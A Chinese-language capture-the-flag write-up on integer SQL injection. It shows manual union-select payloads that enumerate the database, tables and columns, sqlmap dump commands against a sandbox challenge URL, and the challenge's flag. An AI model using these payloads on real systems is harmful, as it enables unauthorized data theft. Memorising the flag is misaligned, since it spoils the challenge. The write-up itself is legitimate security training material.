一、整数型注入
解法1-使用手工方式
解题思路:库-->表-->列-->数据
1.检测是否存在注入
1 and 1=1 返回正确
1 and 1=2 返回错误
2.测字段数(x为猜想的数字)
1 order by x
如果测试会返回正常显示,就继续往后面测试,直到显示错误才停止,那么显示错误的x的前一个数字就是全部的字段数
3.爆破数据库名
根据前一步测试的字段数进行爆破数据库名,前一步测试结果为2,则使用联合查询数据库名,测试数据库在第一个字段还是第二个字段,测试结果是在第二个字段,得到数据库名为sqli。
1 and 1=2 union select 1,database()
4.爆破表名
在第三步得到的数据库名sqli,使用联合查询查出两个表名为news和flag。
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
5.爆破列名
根据表名得到列名为flag。
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
6.获得flag
ctfhub{7f23333a1eb35789a2acdfd6}
解法2-使用sqlmap工具
# 列出表名
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 --tables
# 列出列名
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 -T flag --columns
# 查数据
python sqlmap.py -u http://challenge-09b258a06d2a3854.sandbox.ctfhub.com:10080/?id=1 -T flag -C flag --dump